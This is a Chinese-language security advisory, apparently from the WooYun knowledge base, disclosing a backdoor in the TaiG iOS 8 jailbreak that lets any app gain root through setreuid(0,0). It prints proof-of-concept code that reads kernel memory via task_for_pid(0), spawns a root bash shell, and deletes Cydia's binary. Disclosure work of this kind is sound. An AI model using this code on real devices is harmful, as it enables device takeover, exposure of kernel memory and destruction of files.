太極越獄重大安全後門

wyzsk發表於2020-08-19
作者: 路人甲 · 2015/07/01 19:05

0x00 背景


太極越獄iOS8.1.3-8.4含有重大安全後門,越獄後導致任意APP可以提權到Root,從而影響使用者資料的安全。舉例來說獲取Root許可權後可以完全控制系統檔案,甚至進一步安裝木馬等嚴重威脅使用者安全的惡意軟體。

0x01 細節


具體分析結果顯示太極越獄修改了setreuid這個關鍵系統API,導致任意APP都可以直接呼叫setreuid(0,0)獲得Root執行許可權,從而可以修改任意系統檔案、也可以task_for_pid開啟系統核心控制程式碼從而完全控制系統底層。例如透過寫入系統目錄“/Library/LaunchDaemons”可以註冊系統服務,從而植入木馬、病毒、盜號工具威脅使用者隱私資料和密碼。

漏洞重現演示如下圖:

enter image description here

示例一:透過test_taig_backdoor1程式讀取核心記憶體

enter image description here

示例二:透過test_taig_backdoor2獲得root許可權shell

test_taig_backdoor讀取任意核心poc程式碼:

#!c
#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>

void dump_kernel_memory(vm_address_t addr)
{
    kern_return_t kret;
    mach_port_t proc_task = 0;
    vm_size_t ret_size = 0;
    vm_size_t i;
    char buffer[128] = {0};
    int ret;

    ret = task_for_pid(mach_task_self(), 0, &proc_task);
    if (ret != 0)
    {
        NSLog(@"[err] get tfp0 fail: %d", ret);
        return;
    }

    NSLog(@"task for pid 0 = %u", proc_task);

        kret = vm_read_overwrite(proc_task,
                                addr,
                                sizeof(buffer),
                                  (vm_address_t)buffer,
                                   &ret_size);

    char *info = malloc(4096);
    info[0] = '\0';

    for (i = 0; i < ret_size; i++)
    {
        if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
        sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
    }
    NSLog(@"%s", info);

    free(info);
}

int main (int argc, const char * argv[])
{
    if (argc != 2)
    {
        NSLog(@"%s [kernel_address]", argv[0]);
        return 0;
    }

    NSLog(@"current uid=%d euid=%d", getuid(), geteuid());

    /*
    * taig backdoor test
    */

    setreuid(0,0);

    NSLog(@"now uid=%d euid=%d", getuid(), geteuid());

    vm_address_t addr = strtoul(argv[1], NULL, 16);
    dump_kernel_memory(addr);

    return 0;
}

test_taig_backdoor2提權poc程式碼:

#!c
void get_root_shell
{
    setreuid(0,0);
    system("/bin/bash -i");
}

在APP中新增下面的程式碼進行刪除檔案測試(謹慎執行):

#!c
void testBackdoor()
{
NSLog(@"當前執行程式 uid=%d euid=%d", getuid(), geteuid());
setreuid(0,0);
NSLog(@"後門提權後,當前執行程式 uid=%d euid=%d", getuid(), geteuid());

NSLog(@"刪除任意檔案演示(該測試會導致Cydia無法執行,請謹慎執行)");
unlink("/Applications/Cydia.app/MobileCydia");
}

太極越獄iOS8.0-8.1.1未能找到機器進行測試,可能也有此重大後門。

0x02 總結


越獄軟體中藏有安全後門並非沒有先例。早在針對iOS 7的完美越獄工具evasi0n7中,越獄開發者evad3rs就修改了第0號系統呼叫,導致任意app可以輕易獲得核心程式碼執行的能力。這一做法也引起越獄大神winocm的強烈不滿(http://winocm.moe/projects/research/2014/01/11/evading-ios-security/)。早在2014年Winocm在博文中就已經質疑太極是否在利用這個後門。

太極越獄與evad3rs的“緋聞”一直沒有間斷。據福布斯報導(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ATBNV93H0011671M.html), 太極曾支付evad3rs高達一百萬美金用於越獄合作開發,該合作的產物就是evasi0n7強制安裝“太極助手”的鬧劇。至於太極越獄的安全後門是“慣犯”還是“初犯”的謎底恐怕就無法揭開了。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章